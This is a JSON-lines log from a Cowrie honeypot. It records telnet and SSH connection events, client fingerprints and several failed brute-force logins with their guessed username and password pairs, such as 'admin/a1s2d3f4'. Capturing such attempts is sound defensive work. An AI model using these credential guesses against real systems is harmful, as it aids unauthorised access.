{"eventid":"cowrie.session.closed","duration":38.587746381759644,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:43.922995Z","src_ip":"192.211.53.160","session":"65c131efee82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":39146,"dst_ip":"10.17.0.5","dst_port":23,"session":"331aab8ebd3c","protocol":"telnet","message":"New connection: 65.60.27.33:39146 (10.17.0.5:23) [session: 331aab8ebd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:45.694320Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7675ea4e4660","protocol":"telnet","message":"New connection: 65.60.27.33:38432 (10.17.0.5:23) [session: 7675ea4e4660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:46.325459Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45040,"dst_ip":"10.17.0.5","dst_port":23,"session":"77983dbf9700","protocol":"telnet","message":"New connection: 165.232.131.181:45040 (10.17.0.5:23) [session: 77983dbf9700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:48.221476Z"}
{"eventid":"cowrie.session.closed","duration":38.86746120452881,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:51.325826Z","src_ip":"65.60.27.33","session":"4bb04268911d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.751867771148682,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:25:53.973254Z","src_ip":"165.232.131.181","session":"77983dbf9700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":38820,"dst_ip":"10.17.0.5","dst_port":22,"session":"174675db6464","protocol":"ssh","message":"New connection: 172.185.24.228:38820 (10.17.0.5:22) [session: 174675db6464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:02.163346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:02.169604Z","src_ip":"172.185.24.228","session":"174675db6464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:02.253861Z","src_ip":"172.185.24.228","session":"174675db6464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234qwer","message":"login attempt [postgres/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:02.607285Z","src_ip":"172.185.24.228","session":"174675db6464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:03.693926Z","src_ip":"172.185.24.228","session":"174675db6464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33106,"dst_ip":"10.17.0.5","dst_port":23,"session":"20796e70ebf5","protocol":"telnet","message":"New connection: 62.210.97.77:33106 (10.17.0.5:23) [session: 20796e70ebf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:04.330598Z"}
{"eventid":"cowrie.session.closed","duration":36.334516763687134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:08.628457Z","src_ip":"62.210.97.77","session":"9a8e1638d39c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":49450,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de9e5b1f74d","protocol":"ssh","message":"New connection: 181.234.2.36:49450 (159.203.135.109:22) [session: 1de9e5b1f74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:11.052458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:11.063164Z","src_ip":"181.234.2.36","session":"1de9e5b1f74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:11.159245Z","src_ip":"181.234.2.36","session":"1de9e5b1f74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"toor","message":"login attempt [ali/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:11.595653Z","src_ip":"181.234.2.36","session":"1de9e5b1f74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:12.694393Z","src_ip":"181.234.2.36","session":"1de9e5b1f74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.57773494720459,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:19.422760Z","src_ip":"165.232.131.181","session":"ad435f2c6bcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12004232406616,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:23.445388Z","src_ip":"65.60.27.33","session":"7675ea4e4660","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92972df1edb","protocol":"telnet","message":"New connection: 62.210.97.77:35506 (10.17.0.5:23) [session: c92972df1edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:28.828321Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35518,"dst_ip":"10.17.0.5","dst_port":23,"session":"087db9483e99","protocol":"telnet","message":"New connection: 62.210.97.77:35518 (10.17.0.5:23) [session: 087db9483e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:31.695493Z"}
{"eventid":"cowrie.session.closed","duration":47.70863199234009,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:33.402831Z","src_ip":"65.60.27.33","session":"331aab8ebd3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.21608591079712,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:39.546479Z","src_ip":"62.210.97.77","session":"20796e70ebf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55116,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ddcc25b2eb5","protocol":"telnet","message":"New connection: 38.54.119.93:55116 (10.17.0.5:23) [session: 9ddcc25b2eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:45.051401Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":43422,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac7d8deca505","protocol":"telnet","message":"New connection: 192.211.53.160:43422 (159.203.135.109:23) [session: ac7d8deca505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:50.656331Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58030,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29b3dddc23f","protocol":"telnet","message":"New connection: 62.210.97.77:58030 (10.17.0.5:23) [session: d29b3dddc23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:26:51.695874Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":37154,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4225f4395aa","protocol":"ssh","message":"New connection: 172.185.24.228:37154 (10.17.0.5:22) [session: f4225f4395aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:01.476758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:01.485285Z","src_ip":"172.185.24.228","session":"f4225f4395aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:01.573985Z","src_ip":"172.185.24.228","session":"f4225f4395aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password123","message":"login attempt [mcserver/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:01.952277Z","src_ip":"172.185.24.228","session":"f4225f4395aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:03.039083Z","src_ip":"172.185.24.228","session":"f4225f4395aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.813087701797485,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:04.641239Z","src_ip":"62.210.97.77","session":"c92972df1edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44969701766968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:05.145087Z","src_ip":"62.210.97.77","session":"087db9483e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":56148,"dst_ip":"159.203.135.109","dst_port":22,"session":"e76977d0bdef","protocol":"ssh","message":"New connection: 20.203.42.204:56148 (159.203.135.109:22) [session: e76977d0bdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:09.397898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:09.404679Z","src_ip":"20.203.42.204","session":"e76977d0bdef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:09.571450Z","src_ip":"20.203.42.204","session":"e76977d0bdef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitolite","password":"test","message":"login attempt [gitolite/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:10.270877Z","src_ip":"20.203.42.204","session":"e76977d0bdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:11.440231Z","src_ip":"20.203.42.204","session":"e76977d0bdef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":38798,"dst_ip":"159.203.135.109","dst_port":22,"session":"2481d5c59a6e","protocol":"ssh","message":"New connection: 181.234.2.36:38798 (159.203.135.109:22) [session: 2481d5c59a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:12.815809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:12.820867Z","src_ip":"181.234.2.36","session":"2481d5c59a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:12.913111Z","src_ip":"181.234.2.36","session":"2481d5c59a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a1s2d3f4","message":"login attempt [admin/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:13.326341Z","src_ip":"181.234.2.36","session":"2481d5c59a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:14.419319Z","src_ip":"181.234.2.36","session":"2481d5c59a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51480,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e842507c2b9","protocol":"telnet","message":"New connection: 165.232.131.181:51480 (10.17.0.5:23) [session: 3e842507c2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:20.112182Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53864,"dst_ip":"10.17.0.5","dst_port":23,"session":"71084ef04130","protocol":"telnet","message":"New connection: 62.210.97.77:53864 (10.17.0.5:23) [session: 71084ef04130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:22.228831Z"}
{"eventid":"cowrie.session.closed","duration":33.90133500099182,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:25.597107Z","src_ip":"62.210.97.77","session":"d29b3dddc23f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54752,"dst_ip":"10.17.0.5","dst_port":23,"session":"1615a47571fa","protocol":"telnet","message":"New connection: 38.54.119.93:54752 (10.17.0.5:23) [session: 1615a47571fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:30.046100Z"}
{"eventid":"cowrie.session.closed","duration":39.813958168029785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:30.470143Z","src_ip":"192.211.53.160","session":"ac7d8deca505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47a3e77338c","protocol":"telnet","message":"New connection: 38.54.119.93:56910 (10.17.0.5:23) [session: f47a3e77338c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:33.728112Z"}
{"eventid":"cowrie.session.closed","duration":50.67101168632507,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:35.722254Z","src_ip":"38.54.119.93","session":"9ddcc25b2eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"9913e07f250c","protocol":"telnet","message":"New connection: 65.60.27.33:48582 (10.17.0.5:23) [session: 9913e07f250c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:36.101161Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08d22a8d6e0","protocol":"telnet","message":"New connection: 192.211.53.160:57396 (159.203.135.109:23) [session: f08d22a8d6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:39.186563Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58650,"dst_ip":"10.17.0.5","dst_port":23,"session":"312ad86e71db","protocol":"telnet","message":"New connection: 165.232.131.181:58650 (10.17.0.5:23) [session: 312ad86e71db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:39.962608Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41066,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b86f3865127","protocol":"telnet","message":"New connection: 38.54.119.93:41066 (10.17.0.5:23) [session: 2b86f3865127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:52.654586Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51854,"dst_ip":"10.17.0.5","dst_port":23,"session":"974b8dd19848","protocol":"telnet","message":"New connection: 165.232.131.181:51854 (10.17.0.5:23) [session: 974b8dd19848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:53.841698Z"}
{"eventid":"cowrie.session.closed","duration":0.008328437805175781,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:53.849915Z","src_ip":"165.232.131.181","session":"974b8dd19848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45412,"dst_ip":"159.203.135.109","dst_port":22,"session":"e870623bf4f3","protocol":"ssh","message":"New connection: 80.94.92.182:45412 (159.203.135.109:22) [session: e870623bf4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:27:54.950211Z"}
